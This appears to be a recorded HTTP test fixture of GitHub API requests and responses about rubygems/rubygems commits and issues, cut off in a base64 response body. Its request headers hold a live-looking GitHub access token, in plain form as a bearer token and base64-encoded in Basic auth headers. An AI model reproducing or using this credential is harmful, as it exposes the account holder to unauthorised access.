Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.049551' X-Github-Request-Id: - A378:4D95:F48B0B:1C84FDF:5A50E486 body: encoding: ASCII-8BIT string: '{"sha":"71e26a480634c8e47a1884813008fbf3baf2eeaf","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:27:37Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2017-07-20T15:30:35Z"},"message":"[Bundler] Update to 1.15.2","tree":{"sha":"be5415e88a37fc2d79fb787629d4654b176a2366","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/be5415e88a37fc2d79fb787629d4654b176a2366"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\nVersion: GnuPG v1\n\niQIcBAABAgAGBQJZcMybAAoJEAEZW7MV3ahWoCYP/2IjfLt0RchH2hmAY7h7r5Vy\nfYUXeoi7x5iL38GvCCkxhZSN7hd0TK8wSJM7sTUL8cUQLdMcQWMG5PQgv/cST12l\nxnSFwb999EwuiJXN+SeoEYAT21uacDto8oEFWg7+RyqSs2QkrtN4auMz4NfYwNiU\ng2ydsoIuGnS21RDJI9VBwq4mbzSwp/octF4SS6A/7pEpJq0TZHoeBaliO/r8M2KM\nRHPRkF7+c7+5bhRL8kUJ6RQRdEOzBQ8HrsH9BTUFMdoJlNWCR7tMS2Ua99Nb+W2j\nA6IJQHnqFIBavp1ZoSwyzAuutfqhmIrgGqxtw0QoR5iPK3nQKa4euZK7dDQvmBip\ncRIp84VpmuZQtqU2ilL0kB1ejDNIoOYnBRAfOgQlzz/cq9CSVD+XFhFOtQzS8AId\nrQfBMsaPmErK4jRiC5G/uTj8szyGpaHAvck9CTHjK8zaC0p9T/7ArITjfmsJ67FR\nIeisykoJnCW4f9V5XntUhJOJLCmq9frzT+7fhWPqg3FF/eSkZyNHINiDeYvA/pom\n9XFSFYoz9MN7VUlVirialerRXaN2ILjXIQjoexsO4MAM8WmbPxjAek8Zfk/QjEXm\nERxbx3TDI1p8oZdi5kH8NNzqXCNqNMnW2k56iJ0bj+4npW9oz7p4l6Nu4A4wQ39E\nk9IY+MxQYJlSjNj+3cUJ\n=qQbe\n-----END PGP SIGNATURE-----","payload":"tree be5415e88a37fc2d79fb787629d4654b176a2366\nparent 3841d147b25531a68f3eb2fa943a5ad736ec98d8\nauthor Samuel Giddins 1500564457 -0500\ncommitter Samuel Giddins 1500564635 -0500\n\n[Bundler] Update to 1.15.2\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf","html_url":"https://github.com/rubygems/rubygems/commit/71e26a480634c8e47a1884813008fbf3baf2eeaf","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/71e26a480634c8e47a1884813008fbf3baf2eeaf/comments","author":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3841d147b25531a68f3eb2fa943a5ad736ec98d8","url":"https://api.github.com/repos/rubygems/rubygems/commits/3841d147b25531a68f3eb2fa943a5ad736ec98d8","html_url":"https://github.com/rubygems/rubygems/commit/3841d147b25531a68f3eb2fa943a5ad736ec98d8"}],"stats":{"total":26,"additions":16,"deletions":10},"files":[{"sha":"2fc1d29fe2af1f85ab00f58ab1f26c70f202c04a","filename":"Manifest.txt","status":"modified","additions":15,"deletions":9,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/71e26a480634c8e47a1884813008fbf3baf2eeaf/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/71e26a480634c8e47a1884813008fbf3baf2eeaf/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=71e26a480634c8e47a1884813008fbf3baf2eeaf","patch":"@@ -21,8 +21,6 @@ bin/update_rubygems\n bundler/CHANGELOG.md\n bundler/CODE_OF_CONDUCT.md\n bundler/CONTRIBUTING.md\n-bundler/DEVELOPMENT.md\n-bundler/ISSUES.md\n bundler/LICENSE.md\n bundler/README.md\n bundler/exe/bundle\n@@ -31,6 +29,7 @@ bundler/exe/bundler\n bundler/lib/bundler.rb\n bundler/lib/bundler/capistrano.rb\n bundler/lib/bundler/cli.rb\n+bundler/lib/bundler/cli/add.rb\n bundler/lib/bundler/cli/binstubs.rb\n bundler/lib/bundler/cli/cache.rb\n bundler/lib/bundler/cli/check.rb\n@@ -41,15 +40,18 @@ bundler/lib/bundler/cli/console.rb\n bundler/lib/bundler/cli/doctor.rb\n bundler/lib/bundler/cli/exec.rb\n bundler/lib/bundler/cli/gem.rb\n+bundler/lib/bundler/cli/info.rb\n bundler/lib/bundler/cli/init.rb\n bundler/lib/bundler/cli/inject.rb\n bundler/lib/bundler/cli/install.rb\n+bundler/lib/bundler/cli/issue.rb\n bundler/lib/bundler/cli/lock.rb\n bundler/lib/bundler/cli/open.rb\n bundler/lib/bundler/cli/outdated.rb\n bundler/lib/bundler/cli/package.rb\n bundler/lib/bundler/cli/platform.rb\n bundler/lib/bundler/cli/plugin.rb\n+bundler/lib/bundler/cli/pristine.rb\n bundler/lib/bundler/cli/show.rb\n bundler/lib/bundler/cli/update.rb\n bundler/lib/bundler/cli/viz.rb\n@@ -103,7 +105,6 @@ bundler/lib/bundler/plugin/installer.rb\n bundler/lib/bundler/plugin/installer/git.rb\n bundler/lib/bundler/plugin/installer/rubygems.rb\n bundler/lib/bundler/plugin/source_list.rb\n-bundler/lib/bundler/postit_trampoline.rb\n bundler/lib/bundler/psyched_yaml.rb\n bundler/lib/bundler/remote_specification.rb\n bundler/lib/bundler/resolver.rb\n@@ -186,12 +187,6 @@ bundler/lib/bundler/vendor/molinillo/lib/molinillo/state.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/faster.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/persistent.rb\n bundler/lib/bundler/vendor/net-http-persistent/lib/net/http/persistent/ssl_reuse.rb\n-bundler/lib/bundler/vendor/postit/lib/postit.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/environment.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/installer.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/parser.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/setup.rb\n-bundler/lib/bundler/vendor/postit/lib/postit/version.rb\n bundler/lib/bundler/vendor/thor/lib/thor.rb\n bundler/lib/bundler/vendor/thor/lib/thor/actions.rb\n bundler/lib/bundler/vendor/thor/lib/thor/actions/create_file.rb\n@@ -228,19 +223,30 @@ bundler/lib/bundler/vendored_molinillo.rb\n bundler/lib/bundler/vendored_persistent.rb\n bundler/lib/bundler/vendored_thor.rb\n bundler/lib/bundler/version.rb\n+bundler/lib/bundler/version_ranges.rb\n bundler/lib/bundler/vlad.rb\n bundler/lib/bundler/worker.rb\n bundler/lib/bundler/yaml_serializer.rb\n+bundler/man/bundle-add.ronn\n bundler/man/bundle-binstubs.ronn\n+bundler/man/bundle-check.ronn\n+bundler/man/bundle-clean.ronn\n bundler/man/bundle-config.ronn\n bundler/man/bundle-exec.ronn\n bundler/man/bundle-gem.ronn\n+bundler/man/bundle-info.ronn\n+bundler/man/bundle-init.ronn\n+bundler/man/bundle-inject.ronn\n bundler/man/bundle-install.ronn\n bundler/man/bundle-lock.ronn\n+bundler/man/bundle-open.ronn\n bundler/man/bundle-outdated.ronn\n bundler/man/bundle-package.ronn\n bundler/man/bundle-platform.ronn\n+bundler/man/bundle-pristine.ronn\n+bundler/man/bundle-show.ronn\n bundler/man/bundle-update.ronn\n+bundler/man/bundle-viz.ronn\n bundler/man/bundle.ronn\n bundler/man/gemfile.5.ronn\n bundler/man/index.txt"},{"sha":"50905839daa6c381b3759375d69194309c5f6544","filename":"bundler","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":null,"raw_url":null,"contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/bundler?ref=71e26a480634c8e47a1884813008fbf3baf2eeaf","patch":"@@ -1 +1 @@\n-Subproject commit c2e22795cf53040a92bef6127cc9a8a7ef07af24\n+Subproject commit 50905839daa6c381b3759375d69194309c5f6544"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4347' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"68c39a51e23b884ffce414f963cf3538" Last-Modified: - Sun, 16 Jul 2017 04:35:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.035736' X-Github-Request-Id: - C64A:4D96:971E72:13A49D5:5A50E486 body: encoding: ASCII-8BIT string: '{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-16T04:35:45Z"},"message":"fix some small issues in installer documentation","tree":{"sha":"786a83443746bf6eb6eef50a5da330eca346cc4f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/786a83443746bf6eb6eef50a5da330eca346cc4f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}],"stats":{"total":8,"additions":5,"deletions":3},"files":[{"sha":"fce32a9f8039cc0349a88c75ff7570f07cd78d9a","filename":"lib/rubygems/installer.rb","status":"modified","additions":5,"deletions":3,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6/lib/rubygems/installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6/lib/rubygems/installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/installer.rb?ref=a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","patch":"@@ -136,8 +136,9 @@ def self.for_spec spec, options = {}\n end\n \n ##\n- # Constructs an Installer instance that will install the gem located at\n- # +gem+. +options+ is a Hash with the following keys:\n+ # Constructs an Installer instance that will install the gem at +package+ which\n+ # can either be a path or an instance of Gem::Package. +options+ is a Hash\n+ # with the following keys:\n #\n # :bin_dir:: Where to put a bin wrapper if needed.\n # :development:: Whether or not development dependencies should be installed.\n@@ -157,6 +158,7 @@ def self.for_spec spec, options = {}\n # :wrappers:: Install wrappers if true, symlinks if false.\n # :build_args:: An Array of arguments to pass to the extension builder\n # process. If not set, then Gem::Command.build_args is used\n+ # :post_install_message:: Print gem post install message if true\n \n def initialize(package, options={})\n require ''fileutils''\n@@ -819,7 +821,7 @@ def dir\n #\n # Version and dependency checks are skipped if this install is forced.\n #\n- # The dependent check will be skipped this install is ignoring dependencies.\n+ # The dependent check will be skipped if the install is ignoring dependencies.\n \n def pre_install_checks\n verify_gem_home options[:unpack]"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4346' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"26f624bf41e809f25e5abbd0fb35854b" Last-Modified: - Sat, 15 Jul 2017 03:33:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045236' X-Github-Request-Id: - A37C:4D95:F48B29:1C8501E:5A50E486 body: encoding: ASCII-8BIT string: '{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:01:35Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-07-15T03:33:25Z"},"message":"Add documentation section to README and fix a few documentation related\nissues.\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues","tree":{"sha":"97141c773bc61174c41a4270bb7658f323a701ba","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/97141c773bc61174c41a4270bb7658f323a701ba"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d6376929d7dbd5e4d734e5ff26266c16f727677","url":"https://api.github.com/repos/rubygems/rubygems/commits/6d6376929d7dbd5e4d734e5ff26266c16f727677","html_url":"https://github.com/rubygems/rubygems/commit/6d6376929d7dbd5e4d734e5ff26266c16f727677"}],"stats":{"total":21,"additions":16,"deletions":5},"files":[{"sha":"79e604299d6d82d3c39fd7430e839ee6aa315f67","filename":"README.md","status":"modified","additions":8,"deletions":0,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/README.md","raw_url":"https://github.com/rubygems/rubygems/raw/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/README.md","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/README.md?ref=24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","patch":"@@ -29,6 +29,14 @@ For more details and other options, see:\n ruby setup.rb --help\n ```\n \n+## Documentation\n+\n+RubyGems uses [rdoc](https://github.com/rdoc/rdoc) for documentation. A compiled set of the docs\n+can be viewed online at http://www.rubydoc.info/github/rubygems/rubygems\n+\n+RubyGems also provides a comprehensive set of guides which covers numerous topics such as\n+creating a new gem, security practices and other resources at http://guides.rubygems.org\n+\n ## GETTING HELP\n \n ### Support Requests"},{"sha":"674b0539ddb93f77ef687435bf23788be334e659","filename":"lib/rubygems.rb","status":"modified","additions":8,"deletions":5,"changes":13,"blob_url":"https://github.com/rubygems/rubygems/blob/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","patch":"@@ -39,23 +39,24 @@ module Gem\n # Further RubyGems documentation can be found at:\n #\n # * {RubyGems Guides}[http://guides.rubygems.org]\n-# * {RubyGems API}[http://rubygems.rubyforge.org/rdoc] (also available from\n+# * {RubyGems API}[http://www.rubydoc.info/github/rubygems/rubygems] (also available from\n # gem server)\n #\n # == RubyGems Plugins\n #\n # As of RubyGems 1.3.2, RubyGems will load plugins installed in gems or\n # $LOAD_PATH. Plugins must be named ''rubygems_plugin'' (.rb, .so, etc) and\n # placed at the root of your gem''s #require_path. Plugins are discovered via\n-# Gem::find_files then loaded. Take care when implementing a plugin as your\n+# Gem::find_files and then loaded. Take care when implementing a plugin as your\n # plugin file may be loaded multiple times if multiple versions of your gem\n # are installed.\n #\n-# For an example plugin, see the graph gem which adds a `gem graph` command.\n+# For an example plugin, see the {Graph gem}[https://github.com/seattlerb/graph]\n+# which adds a `gem graph` command.\n #\n # == RubyGems Defaults, Packaging\n #\n-# RubyGems defaults are stored in rubygems/defaults.rb. If you''re packaging\n+# RubyGems defaults are stored in lib/rubygems/defaults.rb. If you''re packaging\n # RubyGems or implementing Ruby you can change RubyGems'' defaults.\n #\n # For RubyGems packagers, provide lib/rubygems/defaults/operating_system.rb\n@@ -65,7 +66,7 @@ module Gem\n # override any defaults from lib/rubygems/defaults.rb.\n #\n # If you need RubyGems to perform extra work on install or uninstall, your\n-# defaults override file can set pre and post install and uninstall hooks.\n+# defaults override file can set pre/post install and uninstall hooks.\n # See Gem::pre_install, Gem::pre_uninstall, Gem::post_install,\n # Gem::post_uninstall.\n #\n@@ -106,6 +107,8 @@ module Gem\n #\n # (If your name is missing, PLEASE let us know!)\n #\n+# == License\n+#\n # See {LICENSE.txt}[rdoc-ref:lib/rubygems/LICENSE.txt] for permissions.\n #\n # Thanks!"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(last: 1, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:22 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4985' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062521' X-Github-Request-Id: - C64E:4D96:971E81:13A49F9:5A50E486 body: encoding: ASCII-8BIT string: '{"data":{"repository":{"issues":{"edges":[{"cursor":"Y3Vyc29yOnYyOpK5MjAxOC0wMS0wM1QyMTo0NToyOS0wNTowMM4RCfzt"}]}}}}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:22 GMT - request: method: post uri: https://api.github.com/graphql body: encoding: UTF-8 string: '{"query":"query {\n repository(owner: \"rubygems\", name: \"rubygems\") {\n issues(first: 100, orderBy:{field: CREATED_AT, direction: ASC}) {\n edges {\n cursor\n node {\n number\n createdAt\n closedAt\n updatedAt\n state\n title\n url\n labels(first: 100) {\n nodes {\n name\n }\n }\n }\n }\n }\n }\n}"}' headers: Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 Accept: - application/vnd.github.v4.idl User-Agent: - Ruby Host: - api.github.com Authorization: - bearer 9182777ff3c006795193a570cdac326b64459dc9 Bearer-Token: - 9182777ff3c006795193a570cdac326b64459dc9 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:23 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4984' X-Ratelimit-Reset: - '1515254347' Cache-Control: - no-cache X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v4; param=idl Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.499720' X-Github-Request-Id: - A380:4D96:971E89:13A4A0A:5A50E486 body: encoding: ASCII-8BIT string: !binary |- eyJkYXRhIjp7InJlcG9zaXRvcnkiOnsiaXNzdWVzIjp7ImVkZ2VzIjpbeyJjdXJzb3IiOiJZM1Z5YzI5eU9uWXlPcEs1TWpBeE1TMHdOaTB3TjFReU1Eb3dNVG94TVMwd05Eb3dNTTRBRDVTNyIsIm5vZGUiOnsibnVtYmVyIjo3MSwiY3JlYXRlZEF0IjoiMjAxMS0wNi0wOFQwMDowMToxMVoiLCJjbG9zZWRBdCI6IjIwMTUtMTItMzBUMDM6NTA6MjBaIiwidXBkYXRlZEF0IjoiMjAxNS0xMi0zMFQwMzo1MDoyMFoiLCJzdGF0ZSI6IkNMT1NFRCIsInRpdGxlIjoiZ2VtIGluc3RhbGwgLS11c2VyLWluc3RhbGwgYXMgcm9vdCBhZGRzIGNhY2hlZCAuZ2VtIGZpbGUgb3V0c2lkZSBvZiBIT01FIiwidXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy83MSIsImxhYmVscyI6eyJub2RlcyI6W3sibmFtZSI6ImNhdGVnb3J5OiBpbnN0YWxsIn0seyJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCJ9XX19fSx7ImN1cnNvciI6IlkzVnljMjl5T25ZeU9wSzVNakF4TVMwd05pMHdOMVF5TURvd01qb3lNaTB3TkRvd01NNEFENVMvIiwibm9kZSI6eyJudW1iZXIiOjcyLCJjcmVhdGVkQXQiOiIyMDExLTA2LTA4VDAwOjAyOjIyWiIsImNsb3NlZEF0IjoiMjAxMS0wNi0wOFQwMDoyNDo1M1oiLCJ1cGRhdGVkQXQiOiIyMDExLTA2LTA4VDAwOjI0OjUzWiIsInN0YXRlIjoiQ0xPU0VEIiwidG